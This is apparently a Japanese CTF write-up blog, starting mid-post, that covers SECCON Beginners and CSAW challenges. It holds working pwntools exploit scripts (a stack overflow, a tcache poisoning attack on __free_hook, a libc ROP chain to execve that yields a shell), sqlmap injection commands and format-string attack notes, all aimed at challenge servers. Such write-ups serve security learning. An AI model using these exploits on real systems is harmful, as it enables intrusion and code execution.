print('FLAG:', ans)
# FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

siblangs (363pt)

Well, they look so similar... siblangs.apk

(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)

APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeappにValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。

f:id:amaga38:20200524163228j:plain

鍵も同じクラスに変数として定義されている。

private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");

コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.GCMParameterSpec;

public class Solve {
    //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
    
    public static void main(String[] args) {
        SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
        
        byte[] arrayOfByte = new byte[43];
        arrayOfByte[0] = 95;
        arrayOfByte[1] = -59;
        arrayOfByte[2] = -20;
        arrayOfByte[3] = -93;
        arrayOfByte[4] = -70;
        arrayOfByte[5] = 0;
        arrayOfByte[6] = -32;
        arrayOfByte[7] = -93;
        arrayOfByte[8] = -23;
        arrayOfByte[9] = 63;
        arrayOfByte[10] = -9;
        arrayOfByte[11] = 60;
        arrayOfByte[12] = 86;
        arrayOfByte[13] = 123;
        arrayOfByte[14] = -61;
        arrayOfByte[15] = -8;
        arrayOfByte[16] = 17;
        arrayOfByte[17] = -113;
        arrayOfByte[18] = -106;
        arrayOfByte[19] = 28;
        arrayOfByte[20] = 99;
        arrayOfByte[21] = -72;
        arrayOfByte[22] = -3;
        arrayOfByte[23] = 1;
        arrayOfByte[24] = -41;
        arrayOfByte[25] = -123;
        arrayOfByte[26] = 17;
        arrayOfByte[27] = 93;
        arrayOfByte[28] = -36;
        arrayOfByte[29] = 45;
        arrayOfByte[30] = 18;
        arrayOfByte[31] = 71;
        arrayOfByte[32] = 61;
        arrayOfByte[33] = 70;
        arrayOfByte[34] = -117;
        arrayOfByte[35] = -55;
        arrayOfByte[36] = 107;
        arrayOfByte[37] = -75;
        arrayOfByte[38] = -89;
        arrayOfByte[39] = 3;
        arrayOfByte[40] = 94;
        arrayOfByte[41] = -71;
        arrayOfByte[42] = 30;
        
        try {
            Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
            GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12);
            cipher.init(Cipher.DECRYPT_MODE, secretKey, gCMParameterSpec);
            arrayOfByte = cipher.doFinal(arrayOfByte, 12, arrayOfByte.length - 12);
            
            String s = new String(arrayOfByte);
            System.out.println(s);  // -> '1pt_3verywhere}'
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

残りの前半部分を探索。jar変換のときについでにできたapkのリソースをctfgrepしてみると怪しいスクリプトっぽいのを発見。React関連?のリソースぽい。

 grep -r ctf ./siblangs-d/
./siblangs-d/assets/index.android.bundle:__d(function(g,r,i,a,m,e,d){var t=r(d[0]),o=r(d[1]);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var l=o(r(d[2])),n=o(r(d[3])),c=o(r(d[4])),u=o(r(d[5])),s=o(r(d[6])),f=t(r(d[7])),h=r(d[8]),y=r(d[9]),p=o(r(d[10]));function V(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}var v=(function(t){(0,c.default)(v,t);var o,y=(o=v,function(){var t,l=(0,s.default)(o);if(V()){var n=(0,s.default)(this).constructor;t=Reflect.construct(l,arguments,n)}else t=l.apply(this,arguments);return(0,u.default)(this,t)});function v(){var t;(0,l.default)(this,v);for(var o=arguments.length,n=new Array(o),c=0;c<o;c++)n[c]=arguments[c];return(t=y.call.apply(y,[this].concat(n))).state={flagVal:"ctf4b{",xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},t.handleFlagChange=function(o){t.setState({flagVal:o})},t.onPressValidateFirstHalf=function(){if("ios"===h.Platform.OS){for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;n<t.state.xored.length;n++)if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))return void h.Alert.alert("Validation A Failed","Try again...");h.Alert.alert("Validation A Succeeded","Great! Have you checked the other one?")}else h.Alert.alert("Sorry!","Run this app on iOS to validate! Or you can try the other one :)")},t.onPressValidateLastHalf=function(){"android"===h.Platform.OS?p.default.validate(t.state.flagVal,function(t){t?h.Alert.alert("Validation B Succeeded","Great! Have you checked the other one?"):h.Alert.alert("Validation B Failed","Learn once, write anywhere ... anywhere?")}):h.Alert.alert("Sorry!","Run this app on Android to validate! Or you can try the other one :)")},t}return(0,n.default)(v,[{key:"render",value:function(){return f.default.createElement(f.default.Fragment,null,f.default.createElement(h.StatusBar,{barStyle:"dark-content"}),f.default.createElement(h.SafeAreaView,null,f.default.createElement(h.ScrollView,{contentInsetAdjustmentBehavior:"automatic",style:S.scrollView},f.default.createElement(h.View,{style:S.body},f.default.createElement(h.View,{style:S.sectionContainer},f.default.createElement(h.Text,{style:S.sectionTitle},"Hello!"),f.default.createElement(h.Text,{style:S.sectionDescription},"Put your FLAG into the box below:"),f.default.createElement(h.TextInput,{style:S.textInput,value:this.state.flagVal,onChangeText:this.handleFlagChange}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateFirstHalf,title:"Validate A",color:"#a44593"}),f.default.createElement(h.Button,{style:S.btn,onPress:this.onPressValidateLastHalf,title:"Validate B",color:"#a44593"}))))))}}]),v})(f.Component),S=h.StyleSheet.create({textInput:{backgroundColor:y.Colors.dark,color:y.Colors.white},btn:{padding:18},scrollView:{backgroundColor:y.Colors.lighter},engine:{position:'absolute',right:0},body:{backgroundColor:y.Colors.white},sectionContainer:{marginTop:32,paddingHorizontal:24},sectionTitle:{fontSize:24,fontWeight:'600',color:y.Colors.black},sectionDescription:{marginTop:8,fontSize:18,fontWeight:'400',color:y.Colors.dark},highlight:{fontWeight:'700'},footer:{color:y.Colors.dark,fontSize:12,fontWeight:'600',padding:4,paddingRight:12,textAlign:'right'}}),A=v;e.default=A},390,[9,1,26,27,37,39,36,56,2,391,399]);

怪しい箇所の抜き出し

flagVal:"ctf4b{",
xored:[34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]},
t.handleFlagChange=function(o){
t.setState({flagVal:o})},
                        t.onPressValidateFirstHalf=function(){
                            if("ios"===h.Platform.OS){
                                for(var o="AKeyFor"+h.Platform.OS+"10.3",l=t.state.flagVal,n=0;
                                    n<t.state.xored.length;n++)
                                        if(t.state.xored[n]!==parseInt(l.charCodeAt(n)^o.charCodeAt(n%o.length),10))
                                        return void h.Alert.alert("Validation A Failed","Try again...");

flag文字列とAKeyForios10.3という文字列をxorした結果がxoredの値になるので、ASCIIコードの印字可能範囲で探索。

# coding: utf-8 -*-
flagVal = 'ctf4b{'
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
ios = 'AKeyForios10.3'

ans = ''
for i in range(len(flagVal), len(xored)):
    print(i)
    for f in range(0x20, 0x7e):
        t = f ^ ord(ios[i % len(ios)])
        if t == xored[i]:
            print(i, t, chr(f))
            ans += chr(f)
            break
print(flagVal + ans)
# ctf4b{ctf4b{jav4_and_j4va5cr

後半部分と合わせて完了。

FLAG: ctf4b{jav4_and_j4va5cr1pt_3verywhere}

Pwn

Beginner's Stack (134pt)

Let's learn how to abuse stack overflow!

nc bs.quals.beginners.seccon.jp 9001

Stack BoFしてwinという関数を呼び出したら勝ちらしい。

実行してみた。Stackの情報まで出してくれる。優しみ。Stack BoFでreturnアドレスを書き換える。

$ ./chall
Your goal is to call `win` function (located at 0x400861)
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffde30d9d30 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffde30d9d38 | 0x0000000000000000 |
                   +--------------------+
0x00007ffde30d9d40 | 0x0000000000400ad0 |
                   +--------------------+
0x00007ffde30d9d48 | 0x00007f0183db5190 |
                   +--------------------+
0x00007ffde30d9d50 | 0x00007ffde30d9d60 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffde30d9d58 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffde30d9d60 | 0x0000000000000000 | <-- saved rbp (main)
                   +--------------------+
0x00007ffde30d9d68 | 0x00007f0183ba80b3 | <-- return address (main)
                   +--------------------+
0x00007ffde30d9d70 | 0x00007f0183db3620 |
                   +--------------------+
0x00007ffde30d9d78 | 0x00007ffde30d9e58 |
                   +--------------------+
Input: 

いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。

f:id:amaga38:20200524164810j:plain

適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。

from pwn import *

srv = 'bs.quals.beginners.seccon.jp'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)
t = conn.recvuntil(b'Input:')
print(t)

buf = b'A' * 32
buf += b'\x00' * 8
buf += b'\xf0\x07\x40\x00' + b'\x00' * 4  # returnだけしてくる
buf += b'\x61\x08\x40\x00' + b'\x00' * 4  # winのアドレス

print(buf)
conn.sendline(buf)
print('sendline')
conn.interactive()
conn.close()

'''
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 
'''

FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (293pt)

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。

以下の操作でフラグが取れた。

    1. B = malloc
    1. free(B) // tcacheにつなげる
    1. read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
    1. B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
    1. read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
    1. free(B) // tcacheにつながらない。残りは __free_hookのアドレス
    1. B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
    1. B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*-

"""
$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f8ce802f8e8
 <win>: 0x555afa892465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 
"""
import sys
import re
import time
from pwn import *

def send_cmd(conn, cmd, buf=b''):
    print('Send Command:', cmd)
    time.sleep(1)
    conn.sendline(cmd)
    if cmd == b'1' or cmd == b'2':
        time.sleep(1)
        conn.sendline(buf)
    t = conn.recvuntil(b'> ')
    if cmd == b'4' or cmd == b'5':
        print(t.decode('utf-8'))


def main():
    srv = 'bs.quals.beginners.seccon.jp'
    port = 9002

    conn = remote(srv, port)
    t = conn.recvuntil(b'\n> ')
    print(t)

    # get address of __free_hook, win
    free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0]
    win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0]

    print('free_hook', free_hook_addr)
    print('win', win_addr)

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)

    # 3. free(B), B = NULL
    send_cmd(conn, b'3')

    # 1. read(0, A, 0x80)
    buf = b'A' * 0x18
    buf += b'\x21' + b'\x00' * 7
    buf += p64(int(free_hook_addr, 16))
    send_cmd(conn, b'1', buf)

    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)
    
    # 1. read(0, A, 0x80)
    # for free chunk B to not tcache area
    buf = b'A' * 0x18
    buf += b'\x01' + b'\x01' + b'\x00' * 6
    send_cmd(conn, b'1', buf)
    send_cmd(conn, b'4')
    # 3. free(B), B = NULL
    send_cmd(conn, b'3')
    
    # 2. B = malloc, read
    # overwrite __free_hook with win
    buf = p64(int(win_addr, 16))
    send_cmd(conn, b'2', buf)
    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', buf)
    #send_cmd(conn, b'3')

    conn.interactive()
    conn.close()

main()

'''
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
'''

FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

以上!

CSAW CTF'19 Quals write-up

2019/09/14 05:00-2019/09/16 05:00 (48H) に開催されたCSAW CTFのWrite-upです。チーム名: whitecatsで出場して、101pt. 388位でした。 

Misc

MCGRIDDLEV2 (1pt)

flag{W3lcome_7o_CSAW_QUALS_2019!}

ウェルカムフラグ

Flag: flag{W3lcome_7o_CSAW_QUALS_2019!}

Rev

BELEAF (50pt)

tree sounds are best listened to by https://binary.ninja/demo or ghidra

標準入力にフラグを入力する問題。とりあえずIDAでmainを眺める。

f:id:amaga38:20190917214510j:plain
main

0x912でフラグの文字列長の検査。0x20より長いらしい。

その後、1文字ずつsub_7FAの関数に渡して、チェック。戻り値(%rax)とunk_2014E0+idxの値が同じなら正解でループ継続。文字数分わかればOK。

sub_7FAの中では、0x201020にあるフラグ文字列のパーツっぽいデータ(8byte毎)と引数で渡された1文字を比較し、一致した文字のインデックスを呼び出し元に返却する。

なので、unk_2014E0のindex値の位置にあるフラグ文字列のパーツを順に取り出して繋げれば、フラグが得られる。

ソルバー

with open('beleaf', 'rb') as f:
    data = f.read()

flag_parts = data[0x1020:0x10e0:4]
corr_idx = data[0x14e0:0x15e8:8]

flag = ''
for i in corr_idx:
    flag += chr(flag_parts[i])
print(flag)
# flag{we_beleaf_in_your_re_future}

Flag: flag{we_beleaf_in_your_re_future}

Pwn

baby_boi (50pt)

Welcome to pwn.

nc pwn.chal.csaw.io 1005

FILES

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

ソースコードは、gets関数を使ったバッファオーバーフロー脆弱性があるので、Stack BoF で攻撃する。また、printf関数のアドレスも教えてもらえるので、libcのベースアドレスを計算して、ミニROPでexecve関数を呼び出して、シェルを取った。execveのパーツは、与えられたlibcからよさげな↓を探して利用。

   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>

飛ばした先のexecveの引数の準備で、第2引数と第3引数に0を代入しておく必要があった。アセンブリ上は、%r12%r14がそれぞれ引数に代入されるので、ROPする直前で値が0でなかった%r12にPOP命令でゼロを代入した。

  • 第2引数: %rsi%r14
  • 第3引数: %rdx%r12

ソルバーはこんな感じに。

from pwn import *

srv = 'pwn.chal.csaw.io'
#srv = 'localhost'
port = 1005
bin = ELF('./baby_boi')
libc = ELF('./libc-2.27.so')

conn = remote(srv, port)
t = conn.recvline_contains((b'Here I am:'))
print(t)

'''
$ readelf -s ./libc-2.27.so |grep printf
   :
   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5
   :
'''
printf_addr = int(t[t.index(b'0x'):], 16)
libc_base = printf_addr - libc.symbols[b'printf']
print(hex(printf_addr))

'''
0x00023992: pop r12 ; ret  ;  (203 found)
'''
pop_r12 = 0x23992

'''
   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>
'''

buf = b'A' * 32
buf += b'b' * 8

buf += p64(libc_base + pop_r12, endianness='little')
buf += p64(0, endianness='little') # for pop r12
buf += p64(libc_base + 0xe569f, endianness='little')

conn.sendline(buf)
conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 1005: Done
b'Here I am: 0x7f7e9378ae80'
0x7f7e9378ae80
0x7f7e93775440
0x7f7e938d9e9a
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbb\x92\x99t\x93~\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9f\xb6\x80\x93~\x7f\x00\x00ffffffff\x9a\x9e\x8d\x93~\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
baby_boi
flag.txt
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}

Flag: flag{baby_boi_dodooo_doo_doo_dooo}

おまけ (解けなかった問題

Pwn gotmilk (50pt)

GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004

format string攻撃ができる脆弱性があり、脆弱性のあるprintf呼び出しの後に呼び出されているlibmylib.solose関数に関するGOT(Global Offset Table)のアドレスを上書きできればOK。

shortサイズの値を指定のアドレスに書き込める%hnを使って手元環境ではうまくいっていたが、本番サーバーでは攻撃を送り込んだ直後にサーバー側からFINを投げられて通信が終わってしまいダメだった。。。当日は、ここで断念。。。

解けたチームのWrite-upを見ていたら%hhn(!?)で1byte書き込んで成功していた。。。%hhnとかあったのね~。勉強が足りぬ~~。%hnは書き込みサイズが大きすぎとかで弾かれていたのかな。。。

以上でっす!

SECCON Beginers CTF 2019 write-up

2019/05/25 15:00 - 05/26 15:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して1274pt. 全体77位で個人成績?では61位でした。

MISC

containers

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

ファイルを抽出

# -*- coding: utf-8 -*-
import re


def main():
    with open('./containers', 'rb') as f:
        data = f.read()

    cnt, idx = 0, 0
    files = []
    fb = re.compile(b'FILE.*\.')
    vld = b'VALIDATOR'

    tmp = fb.search(data[idx:])
    s, e = tmp.start(), tmp.end()
    idx = e
    while True:
        tmp = fb.search(data[idx:])
        if tmp:
            s, e = tmp.start(), tmp.end()
            files.append((idx, idx+s))
            idx += e
        else:
            val_idx = re.search(vld, data[idx:])
            files.append((idx, idx+val_idx.start()))
            break
        cnt += 1

    print(cnt, files)
    cnt = 0
    for f in files:
        s, e = f[0], f[1]
        d = data[s:e]
        fname = 'con_' + str(cnt) + '.png'

        with open(fname, 'wb') as f:
            f.write(d)
        cnt += 1


if __name__ == '__main__':
    main()

抽出できたPNGファイル順番通りに並べればフラグっぽい。 f:id:amaga38:20190525232039j:plain

一応、確認

$ echo -n 'ctf4b{e52df60c058746a66e4ac4f34db6fc81}' | sha1sum 
3c90b7f38d3c200d8e6312fbea35668bec61d282  -

Flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump

Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

DLしたバイナリを見たらpcapっぽかったので、まずは拡張子をpcapにしてWiresharkで開いた。パケットはHTTPパケットだったので、メニューのファイル→オブジェクトをエクスポート→HTTP でHTTPコンテンツを出力した。

HTMLコンテンツの中は8進数みたいな値が並んでいた。

037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012
322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336
365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175
366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351
353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025
026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020
162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337

WEBページのタイトルを見てみるとWeb Shellとなっているのと、Wiresharkで保存されたファイル名が、webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag.htmlになっていたので、やはりhexdumpでflagファイルの中を8進数で表示したものらしい。

ソルバー(HTMLコンテンツから8進数の部分だけ抜き出し、dump.txtとして保存して実行)

with open('dump.txt', 'r') as f:
    data = f.read()
octs = data.split()
bytes = map(lambda x: int(x, 8).to_bytes(1, 'little'), octs)
with open('dump_data.txt', 'wb') as f:
    for b in bytes:
        f.write(b)

tar.gzぽかったので、tarコマンドで回答したらフラグのJPEGがでてきた。

Flag: ctf4b{hexdump_is_very_useful}

Web

Ramen

SQL injectionとかよくわからないので、sqlmapをつかったら出た。

$ sqlmap --tables -u https://ramen.quals.beginners.seccon.jp/?username=

$ sqlmap -T flag -- dump -u https://ramen.quals.beginners.seccon.jp/?username=

Flag: ctf4b{a_simple_sql_injection_with_union_select}

Crypto

[warmup] So Tired

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫! File: so_tired.tar.gz https://score.beginners.seccon.jp/files/7e9eb0636de2cad98b1eee3b667aea6c_so_tired.tar.gz

ファイルをtarコマンドで回答すると、Base64文字列が書いてあるテキストファイルがでてくる。base64デコードするとバイナリがでてくる。fileコマンドで調べてみるとzlibで圧縮されたデータらしい。

$ cat encrypted.txt | base64 -d > d64.txt
$ file d64.txt 
d64.txt: zlib compressed data

試しに解凍してみるとまたbase64文字列がでてきたので、繰り返しだろーなーと思って、以下のソルバーを書いて解いた。

# -*- coding: utf-8 -*-
import base64
import zlib


def main():
    with open('encrypted.txt', 'rb') as f:
        data = f.read()

    cnt = 0
    tmp = data[:]
    while True:
        b64d = base64.b64decode(tmp)
        zdec = zlib.decompress(b64d)
        if zdec.find(b'ctf4b') != -1:
            print(cnt)
            print(zdec)
            break
        tmp = zdec[:]
        cnt += 1


if __name__ == '__main__':
    main()

# $ python solve.py 
# 499
# ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Flag: ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Reversing

[warmup] Seccompare

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

IDAで眺めてみるとstack上にFlagっぽい文字列を用意して、0x4006b9コマンドライン引数と比較している。 f:id:amaga38:20190525172636j:plain

strcmpされる前のstackを見ればフラグが見えるはずなので、gdb-pedaで適当に0x4006a4にブレイクポイントを設定して実行。

$ gdb -q --args seccompare ctf4bxxxxxxxxxxx
Reading symbols from seccompare...(no debugging symbols found)...done.
gdb-peda$ b *0x4006a4
Breakpoint 1 at 0x4006a4
gdb-peda$ r
Starting program: /seccompare ctf4bxxxxxxxxxxx

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x400700 (<__libc_csu_init>: push   r15)
RDX: 0x7fffffffdfd0 --> 0x7fffffffe340 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RDI: 0x2 
RBP: 0x7fffffffded0 --> 0x400700 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RIP: 0x4006a4 (<main+189>:    mov    rax,QWORD PTR [rbp-0x40])
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400698 <main+177>:   mov    BYTE PTR [rbp-0x16],0x68
   0x40069c <main+181>:   mov    BYTE PTR [rbp-0x15],0x7d
   0x4006a0 <main+185>:   mov    BYTE PTR [rbp-0x14],0x0
=> 0x4006a4 <main+189>:    mov    rax,QWORD PTR [rbp-0x40]
   0x4006a8 <main+193>:   add    rax,0x8
   0x4006ac <main+197>:   mov    rdx,QWORD PTR [rax]
   0x4006af <main+200>:   lea    rax,[rbp-0x30]
   0x4006b3 <main+204>:   mov    rsi,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
0008| 0x7fffffffde98 --> 0x20040074d 
0016| 0x7fffffffdea0 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
0024| 0x7fffffffdea8 ("r1ngs_1s_n0t_en0ugh}")
0032| 0x7fffffffdeb0 ("_n0t_en0ugh}")
0040| 0x7fffffffdeb8 --> 0x7d686775 ('ugh}')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x2 
0056| 0x7fffffffdec8 --> 0x93dbe948b0632700 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006a4 in main ()

Flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage

コマンドライン引数に正しいFlag文字列を与えて実行するとcorrectと出力される実行ファイルみたい。

is_correctという関数でバイナリ内にある難読化したフラグ文字列を1文字ずつconvertという関数内で元に戻している。 f:id:amaga38:20190525183429j:plain

始めは慣れていないangrでチャレンジしてみたが、なぜか解けない。gdbでやれば答えがでるのは、わかっているのであきらめてgdbでチマチマ解いた。

is_correct関数の 0x400630 にブレイクポイントを設定して、そのときの$eaxの値がconvertで変換されたフラグの1文字がわかる。あとはそれを繰り返す。

$ cat gdb_cmd 
start
break *0x400630
ignore 2 24
run

$ gdb -q -x gdb_cmd --args ./leakage ctf4b{le4k1ng_th3_xxxxxxxxxxxxxxx}
 :
 :
gdb-peda$ c
Continuing.
$4 = 0x66

[----------------------------------registers-----------------------------------]
RAX: 0x66 ('f')
RBX: 0x0 
RCX: 0x0 
RDX: 0x9 ('\t')
RSI: 0x1fabee32 
RDI: 0xfc1dbaf2 
RBP: 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdec0 --> 0x1 
RIP: 0x400630 (<is_correct+73>:   mov    BYTE PTR [rbp-0x5],al)
R8 : 0x3ba0b0d7 
R9 : 0x7fe82c73 
R10: 0x6f47b3e6 
R11: 0x9f643160 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfe0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400626 <is_correct+63>:  movzx  eax,al
   0x400629 <is_correct+66>:  mov    edi,eax
   0x40062b <is_correct+68>:  call   0x4006d0 <convert>
=> 0x400630 <is_correct+73>:   mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:  mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:  movsxd rdx,eax
   0x400639 <is_correct+82>:  mov    rax,QWORD PTR [rbp-0x18]
   0x40063d <is_correct+86>:  add    rax,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 --> 0x1 
0008| 0x7fffffffdec8 --> 0x7fffffffe359 ("ctf4b{le4k1ng_th3_", 'x' <repeats 15 times>, "}")
0016| 0x7fffffffded0 --> 0x7ffff7de59a0 (<_dl_fini>:   push   rbp)
0024| 0x7fffffffded8 --> 0x125f000000 
0032| 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>:    push   r15)
0040| 0x7fffffffdee8 --> 0x4006aa (<main+74>:  test   eax,eax)
0048| 0x7fffffffdef0 --> 0x7fffffffdfe8 --> 0x7fffffffe314 ("/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/rev/leakage/leakage")
0056| 0x7fffffffdef8 --> 0x200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000400630 in is_correct ()
gdb-peda$ q

